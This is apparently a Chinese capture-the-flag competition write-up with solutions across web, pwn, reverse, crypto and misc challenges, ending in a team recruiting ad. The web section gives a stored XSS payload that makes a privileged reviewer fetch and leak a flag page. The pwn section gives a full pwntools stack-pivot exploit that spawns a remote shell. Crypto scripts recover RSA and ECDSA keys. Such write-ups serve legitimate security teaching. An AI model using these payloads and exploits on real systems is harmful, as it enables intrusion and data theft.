WEB
WEB02：
访问该环境，登陆注册能随便登，会返回一个/content/hash作为路由，然后拿dirsearch扫一下只能发现一个flag路由，回显你是boss嘛？就想看其他无人机拟定执行任务？
进这个路由之后有3按钮，提交，刷新，和更新，一开始一直在试拿fenjing梭ssti，然后不成功
之后尝试写xss，发现存在存储型xss，之后尝试拿hackbar的xss一把梭一下，想弹到ceye.io上，咋弹都回显那个不是boss，我还以为是payload有问题，以为是要弹到当前路由
之后看响应包，突然发现他的提交是点击提交当前页面，boss会审核你的起飞任务清单，所以使用submit提交后，就是直接boss审核的
所以最后是需要我们把xss payload存储之后，点击submit，就是由boss提交的，然后就能把flag路由的回显输出到当前页面了
<script> fetch('/flag').then(response => response.text()).then(data => {
fetch('/content/2f9f1f36782a270b689d8c0f3e9e08df',{
method:'POST',
headers:{'Content-Type':'application/x-www-form-urlencoded'},
body:"content=123"%2bdata
})
})
</script>
PWN
PWN02
首先是一个login的登录绕过，直接按照它的要求输就好了
然后过到下面的vuln函数中去打溢出，这边眼瞅着的长度肯定不够，首先想到打栈迁移,给出后续地址之后直接打
然后看到有给出完整后门，那么就好打了
直接栈迁移打system
from pwn import *
context(os='linux',arch='i386',log_level='debug')
libc=ELF("/lib/i386-linux-gnu/libc.so.6")
elf=ELF('./pwn')
#io=process("./pwn")
io=remote("0192d6192424783193117245846d79b9.8nz7.dg02.ciihw.cn",44958)
sh_address=0x0804A038
ret_address=0x08048674
io.recvuntil("Enter your username: ")
io.sendline(b'admin\x00')
io.recvuntil("Enter your password: ")
io.sendline(b'admin123\x00')io.recvuntil(b"0x")
stac = int(io.recv(8),16)
print(hex(stac))
payload = (p32(0x080485E6)+p32(0)+p32(sh_address)).ljust(80,b"\x00")+p32(stac-4)+p32(ret_address)
io.sendlineafter("plz input your msg:\n",payload)
io.interactive()
REVERSE
REVERSE01
安卓题，有混淆，先找MainActivity，锁定主要逻辑如下
主要就是跟其中的check方法，发现是native层加密逻辑
那么直接解包apk去看逻辑，逻辑也相对清晰，主要加密逻辑有点眼熟，过一下gpt得知确实是sm4
那么直接找key嗦一把试试
注意后面的这个Z0099864的赋值有个端序问题，做一个倒序就好
data="Z0099864"
print(data[::-1])
#4689900Z
拼接起来之后把密文提取出来直接解SM4，跟进变量提取密文
最终解出flag
REVERSE02
逻辑什么的都相当清楚了，然后结合题目给的信息，顾名思义四段加密
第一段是乘以2
第二段是异或
第三段是自定义码表的一个base64
第四段是解一个AES
EXP：
其中第三段解base64的结果为
s2=[0x70,0xCC,0x62,0xCA,0x60,0x6E,0x6C,0x6C]
print("part1:",end='')
for i in range(len(s2)):
print(chr(round(s2[i]/2)),end='')
# #part1:81fe0766data=[0x69,0x56,0x45,0x17,0x7D,0x0D,0x11,0x52]
xor_key="XorrLord"
print("\npart2:",end='')
for i in range(len(xor_key)):
print(chr(data[i]^ord(xor_key[i])),end='')
#part2:197e1bc6
#part3:809832f4
from Crypto.Cipher import AES
key = b"AesMasterAesMast"
cipher = AES.new(key, AES.MODE_ECB)
v4 = bytes([251, 217, 179, 171, 217, 136, 230, 11, 147, 124, 149, 235, 148, 219, 11, 84])
# 使用 AES ECB 模式解密 v4
decrypted_data = cipher.decrypt(v4)
print("\npart4:", decrypted_data)
#par4:d346fe66
拼接起来得到最终的flag为wdflag{81fe0766197e1bc6809832f4d346fe66}
CRYPTO
CRYPTO01
直接上网搜索，找到原题
https://www.cnblogs.com/mumuhhh/p/17789591.html
根据给出的脚本进行解密
import time
time.clock = time.time
debug = True
strict = False
helpful_only = True
dimension_min = 7 # 如果晶格达到该尺寸，则停止移除
# 显示有用矢量的统计数据
def helpful_vectors(BB, modulus):
nothelpful = 0
for ii in range(BB.dimensions()[0]):
if BB[ii,ii] >= modulus:
nothelpful += 1
print (nothelpful, "/", BB.dimensions()[0], " vectors are not helpful")# 显示带有 0 和 X 的矩阵
def matrix_overview(BB, bound):
for ii in range(BB.dimensions()[0]):
a = ('%02d ' % ii)
for jj in range(BB.dimensions()[1]):
a += '0' if BB[ii,jj] == 0 else 'X'
if BB.dimensions()[0] < 60:
a += ' '
if BB[ii, ii] >= bound:
a += '~'
#print (a)
# 尝试删除无用的向量
# 从当前 = n-1（最后一个向量）开始
def remove_unhelpful(BB, monomials, bound, current):
# 我们从当前 = n-1（最后一个向量）开始
if current == -1 or BB.dimensions()[0] <= dimension_min:
return BB
# 开始从后面检查
for ii in range(current, -1, -1):
# 如果它没有用
if BB[ii, ii] >= bound:
affected_vectors = 0
affected_vector_index = 0
# 让我们检查它是否影响其他向量
for jj in range(ii + 1, BB.dimensions()[0]):
# 如果另一个向量受到影响：
# 我们增加计数
if BB[jj, ii] != 0:
affected_vectors += 1
affected_vector_index = jj
# 等级：0
# 如果没有其他载体最终受到影响
# 我们删除它
if affected_vectors == 0:
#print ("* removing unhelpful vector", ii)
BB = BB.delete_columns([ii])
BB = BB.delete_rows([ii])
monomials.pop(ii)
BB = remove_unhelpful(BB, monomials, bound, ii-1)
return BB
# 等级：1
#如果只有一个受到影响，我们会检查
# 如果它正在影响别的向量
elif affected_vectors == 1:
affected_deeper = True
for kk in range(affected_vector_index + 1, BB.dimensions()[0]):
# 如果它影响哪怕一个向量
# 我们放弃这个
if BB[kk, affected_vector_index] != 0:
affected_deeper = False
# 如果没有其他向量受到影响，则将其删除，并且
# 这个有用的向量不够有用
#与我们无用的相比
if affected_deeper and abs(bound - BB[affected_vector_index, affected_vector_index]) < abs(bound - BB[ii, ii]):
#print ("* removing unhelpful vectors", ii, "and", affected_vector_index)
BB = BB.delete_columns([affected_vector_index, ii])
BB = BB.delete_rows([affected_vector_index, ii])
monomials.pop(affected_vector_index)
monomials.pop(ii)
BB = remove_unhelpful(BB, monomials, bound, ii-1)
return BB
# nothing happened
return BB
"""
Returns:
* 0,0 if it fails
* -1，-1 如果 "strict=true"，并且行列式不受约束
* x0,y0 the solutions of `pol`
"""
def boneh_durfee(pol, modulus, mm, tt, XX, YY):
"""
Boneh and Durfee revisited by Herrmann and May
在以下情况下找到解决方案：
* d < N^delta
* |x|< e^delta
* |y|< e^0.5
每当 delta < 1 - sqrt（2）/2 ~ 0.292
"""
# substitution (Herrman and May)
PR.<u, x, y> = PolynomialRing(ZZ) #多项式环
Q = PR.quotient(x*y + 1 - u) # u = xy + 1
polZ = Q(pol).lift()
UU = XX*YY + 1
# x-移位
gg = []
for kk in range(mm + 1):
for ii in range(mm - kk + 1):
xshift = x^ii * modulus^(mm - kk) * polZ(u, x, y)^kk
gg.append(xshift)
gg.sort()
# 单项式 x 移位列表
monomials = []
for polynomial in gg:
for monomial in polynomial.monomials(): #对于多项式中的单项式。单项式（）：
if monomial not in monomials: # 如果单项不在单项中
monomials.append(monomial)
monomials.sort()
# y-移位
for jj in range(1, tt + 1):
for kk in range(floor(mm/tt) * jj, mm + 1):
yshift = y^jj * polZ(u, x, y)^kk * modulus^(mm - kk)
yshift = Q(yshift).lift()
gg.append(yshift) # substitution
# 单项式 y 移位列表
for jj in range(1, tt + 1):
for kk in range(floor(mm/tt) * jj, mm + 1):
monomials.append(u^kk * y^jj)
# 构造格 B
nn = len(monomials)
BB = Matrix(ZZ, nn)
for ii in range(nn):
BB[ii, 0] = gg[ii](0, 0, 0)
for jj in range(1, ii + 1):
if monomials[jj] in gg[ii].monomials():
BB[ii, jj] = gg[ii].monomial_coefficient(monomials[jj]) * monomials[jj](UU,XX,YY)
#约化格的原型
if helpful_only:
# #自动删除
BB = remove_unhelpful(BB, monomials, modulus^mm, nn-1)
# 重置维度
nn = BB.dimensions()[0]
if nn == 0:
print ("failure")
return 0,0
# 检查向量是否有帮助
if debug:
helpful_vectors(BB, modulus^mm)
# 检查行列式是否正确界定
det = BB.det()
bound = modulus^(mm*nn)
if det >= bound:
print ("We do not have det < bound. Solutions might not be found.")
print ("Try with highers m and t.")
if debug:
diff = (log(det) - log(bound)) / log(2)
print ("size det(L) - size e^(m*n) = ", floor(diff))
if strict:
return -1, -1
else:
print ("det(L) < e^(m*n) (good! If a solution exists < N^delta, it will be found)")
# display the lattice basis
if debug:
matrix_overview(BB, modulus^mm)
# LLL
if debug:
print ("optimizing basis of the lattice via LLL, this can take a long time")
#BB = BB.BKZ(block_size=25)
BB = BB.LLL()
if debug:
print ("LLL is done!")
# 替换向量 i 和 j ->多项式 1 和 2
if debug:
print ("在格中寻找线性无关向量")
found_polynomials = False
for pol1_idx in range(nn - 1):
for pol2_idx in range(pol1_idx + 1, nn):
# 对于i and j, 构造两个多项式
PR.<w,z> = PolynomialRing(ZZ)
pol1 = pol2 = 0
for jj in range(nn):
pol1 += monomials[jj](w*z+1,w,z) * BB[pol1_idx, jj] / monomials[jj](UU,XX,YY)
pol2 += monomials[jj](w*z+1,w,z) * BB[pol2_idx, jj] / monomials[jj](UU,XX,YY)
# 结果
PR.<q> = PolynomialRing(ZZ)
rr = pol1.resultant(pol2)
if rr.is_zero() or rr.monomials() == [1]:
continue
else:
print ("found them, using vectors", pol1_idx, "and", pol2_idx)
found_polynomials = True
break
if found_polynomials:
break
if not found_polynomials:
print ("no independant vectors could be found. This should very rarely happen...")
return 0, 0
rr = rr(q, q)
# solutions
soly = rr.roots()
if len(soly) == 0:
print ("Your prediction (delta) is too small")
return 0, 0
soly = soly[0][0]
ss = pol1(q, soly)
solx = ss.roots()[0][0]
return solx, soly
def example():
##################################################################
# 随机生成数据
###############################################################
#start_time =time.perf_counter
start =time.clock()
size=512
length_N = 2*size;
ss=0
s=70;
M=1 # the number of experiments
delta = 299/1024
# p = random_prime(2^512,2^511)
for i in range(M):
# p = random_prime(2^size,None,2^(size-1))
# q = random_prime(2^size,None,2^(size-1))
# if(p<q):
# temp=p
# p=q
# q=temp
N = 69207225407236621802315929835231678761546030648552499878532449478584182354765750349071726491300234635799981022731725455349420914234822062855723904939138000102040435210706843712478106458961468791872716857992483073814316706027260218386995042614451566024972455009936823034721213885693157803402838690192435869721
e = 28439197921283357831697812537770489393495780585893113255835906777860388696994349687910509232020125501124985537099309478678733953591875352794038209770419925216539701941346792691704315717440469781000758533118851176304883130375842134875219545766782891367082825940026559693057872966937790726617783138946733512771
c = 22634701644450101524194718626550730546669791908217195025458791096208664618277869132516992188391372685210476489439282043033169958992171845152117468239445520601245104073454741171223045094363461153069787573765111331214431209598625611554915848071794889073522221012875111880946316417640573688399584093700714982302
hint1 = 654543761191063613807 # p高位
hint2 = 819778612327847774041 # q高位
# print ("p真实高",s,"比特：", int(p/2^(512-s)))
# print ("q真实高",s,"比特：", int(q/2^(512-s)))
# N = p*q;
# 解密指数d的指数( 最大0.292)
m = 7 # 格大小（越大越好/越慢）
t = round(((1-2*delta) * m)) # 来自 Herrmann 和 May 的优化
X = floor(N^delta) #
Y = floor(N^(1/2)/2^s) # 如果 p、 q 大小相同，则正确
for l in range(int(hint1),int(hint1)+1):
print('\n\n\n l=',l)
pM=l;
p0=pM*2^(size-s)+2^(size-s)-1;
q0=N/p0;
qM=int(q0/2^(size-s))
A = N + 1-pM*2^(size-s)-qM*2^(size-s);
#A = N+1
P.<x,y> = PolynomialRing(ZZ)
pol = 1 + x * (A + y) #构建的方程
# Checking bounds
#if debug:
#print ("=== 核对数据 ===")
#print ("* delta:", delta)
#print ("* delta < 0.292", delta < 0.292)
#print ("* size of e:", ceil(log(e)/log(2))) # e的bit数
# print ("* size of N:", len(bin(N))) # N的bit数
#print ("* size of N:", ceil(log(N)/log(2))) # N的bit数
#print ("* m:", m, ", t:", t)
# boneh_durfee
if debug:
###print ("=== running algorithm ===")
start_time = time.time()
solx, soly = boneh_durfee(pol, e, m, t, X, Y)
if solx > 0:
#print ("=== solution found ===")
if False:
print ("x:", solx)
print ("y:", soly)
d_sol = int(pol(solx, soly) / e)
ss=ss+1
print ("=== solution found ===")
print ("p的高比特为：",l)
print ("q的高比特为：",qM)
print ("d=",d_sol)
if debug:
print("=== %s seconds ===" % (time.time() - start_time))
#break
print("ss=",ss)
#end=time.process_time
end=time.clock()
print('Running time: %s Seconds'%(end-start))
if __name__ == "__main__":
example()
跑第二个脚本，得到flag
wdflag{31998a91-fd51-4df2-864e-73c122786868}
CRYPTO02
下载附件，打开代码，问豆包
# 首先，根据椭圆曲线签名的性质，利用给定的r1, s1, z1, r2, s2, z2恢复dA
from Crypto.Util.number import long_to_bytes
from hashlib import sha256
from sympy import nextprime
import gmpy2
import binascii
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad# 已知的参数
r1 = 66378485426889535028763915423685212583706810153195012097516816885575964878246
r2 = 66378485426889535028763915423685212583706810153195012097516816885575964878246
s1 = 73636354334739290806716081380360143742414582638332132893041295586890856253300
s2 = 64320109990895398581134015047131652648423777800538748939578192006599226954034
z1 = 35311306706233977395060423051262119784421232920823462737043282589337379493964
z2 = 101807556569342254666094290602497540565936025601030395061064067677254735341454
p = 0xfffffffffffffffffffffffffffffffffffffffffffffffffffffffefffffc2f
n = 0xfffffffffffffffffffffffffffffffebaaedce6af48a03bbfd25e8cd0364141
# 根据椭圆曲线签名的恢复公式
# s1 * k - z1 = r1 * dA (mod n)
# s2 * k - z2 = r2 * dA (mod n)
# 由于r1 = r2，可以通过联立方程求解dA
k = gmpy2.invert(s1 - s2, n) * (z1 - z2) % n
dA = gmpy2.invert(r1, n) * (s1 * k - z1) % n
# 使用恢复的dA生成AES密钥
key = sha256(long_to_bytes(dA)).digest()
# 已知的加密后的flag十六进制字符串
encrypted_flag_hex = '3cdbe372c9bc279e816336ad69b8247f4ec05647a7e97285dd64136875004b638b77191fe9bef702cb873ee93dbe376c050d0c721b69f17f539cff83372cc37b'
encrypted_flag_bytes = binascii.unhexlify(encrypted_flag_hex)
# 提取IV和密文
iv = encrypted_flag_bytes[:AES.block_size]
ciphertext = encrypted_flag_bytes[AES.block_size:]
# 创建AES解密对象
cipher = AES.new(key, AES.MODE_CBC, iv)
# 解密
decrypted_data = cipher.decrypt(ciphertext)
# 去除填充
plaintext = unpad(decrypted_data, AES.block_size)
# 对替换加密的逆过程（victory_encrypt的逆）
victory_key = "WANGDINGCUP"
key_length = len(victory_key)
decrypted_text = ""
for i, char in enumerate(plaintext.decode().upper()):
if char.isalpha():
shift = ord(victory_key[i % key_length]) - ord('A')
decrypted_char = chr((ord(char) - ord('A') - shift + 26) % 26 + ord('A'))
decrypted_text += decrypted_char
else:
decrypted_text += char
print(decrypted_text)
运行后成功获取到flag，要转小写
MISC
MISC01
下载附件看题目描述
拿wireshark看
md5加密
最后得到flag
wdflag{bd9bfee6c7303048dab68cfa6a14b5e7}
MISC03
找攻击IP
攻击IP为：39.168.5.60
MISC04
给了一个这个抽象图片，蓝底红线，凭直觉一个是需要还原成二维码的形式
根据题干，他是有一个图像加密算法，需要把这个红线还原重组成二维码，搜索一个是这个Peano曲线
最终找到了一个irisctf的一道赛题The Peano Scramble
https://almostgph.github.io/2024/01/08/IrisCTF2024/
from PIL import Image
from tqdm import tqdmdef peano(n):
if n == 0:
return [[0,0]]
else:
in_lst = peano(n - 1)
lst = in_lst.copy()
px,py = lst[-1]
lst.extend([px - i[0], py + 1 + i[1]] for i in in_lst)
px,py = lst[-1]
lst.extend([px + i[0], py + 1 + i[1]] for i in in_lst)
px,py = lst[-1]
lst.extend([px + 1 + i[0], py - i[1]] for i in in_lst)
px,py = lst[-1]
lst.extend([px - i[0], py - 1 - i[1]] for i in in_lst)
px,py = lst[-1]
lst.extend([px + i[0], py - 1 - i[1]] for i in in_lst)
px,py = lst[-1]
lst.extend([px + 1 + i[0], py + i[1]] for i in in_lst)
px,py = lst[-1]
lst.extend([px - i[0], py + 1 + i[1]] for i in in_lst)
px,py = lst[-1]
lst.extend([px + i[0], py + 1 + i[1]] for i in in_lst)
return lst
order = peano(6)
img = Image.open(r"./1.png")
width, height = img.size
block_width = width # // 3
block_height = height # // 3
new_image = Image.new("RGB", (width, height))
for i, (x, y) in tqdm(enumerate(order)):
# 根据列表顺序获取新的坐标
new_x, new_y = i % width, i // width
# 获取原图像素
pixel = img.getpixel((x, height - 1 - y))
# 在新图像中放置像素
new_image.putpixel((new_x, new_y), pixel)
new_image.save("rearranged_image.jpg")
扫码即可
结束
招新小广告
ChaMd5 Venom 招收大佬入圈
新成立组IOT+工控+样本分析 长期招新
如有侵权请联系:admin#unsafe.sh